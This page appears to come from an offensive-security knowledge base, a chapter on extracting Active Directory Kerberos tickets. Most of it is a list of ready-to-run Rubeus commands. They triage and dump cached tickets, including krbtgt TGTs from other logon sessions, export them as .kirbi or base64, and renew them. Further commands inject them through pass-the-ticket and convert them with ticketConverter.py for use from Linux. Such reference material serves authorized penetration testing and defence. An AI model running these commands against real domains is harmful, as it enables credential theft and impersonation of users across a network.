Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter IV - Active Directory / 03. Kerberos / Tickets

Extraction

Ticket extraction is not conversion, but it is usually where the conversion workflow starts. On Windows, Rubeus can enumerate and export cached Kerberos tickets as .kirbi or base64 blobs.

Triage tickets:

.\Rubeus.exe triage

Dump tickets and export files:

.\Rubeus.exe dump /export

Dump base64 output:

.\Rubeus.exe dump /nowrap

Dump a specific LUID and service:

.\Rubeus.exe dump /luid:0xd42c80 /service:krbtgt /nowrap

Describe a ticket:

.\Rubeus.exe describe /ticket:ticket.kirbi

Renew a renewable TGT:

.\Rubeus.exe renew /ticket:ticket.kirbi /nowrap

Inject after extraction:

.\Rubeus.exe ptt /ticket:ticket.kirbi
klist

Convert extracted .kirbi for Linux:

ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=FILE:$(pwd)/ticket.ccache
klist

Important fields:

StartTime  ticket issue time
EndTime    ticket expiration time
RenewTill  last time the ticket can be renewed
Service    krbtgt means TGT; other SPNs are service tickets

High-integrity context is required to dump tickets from other logon sessions. A non-elevated context usually sees only its own session.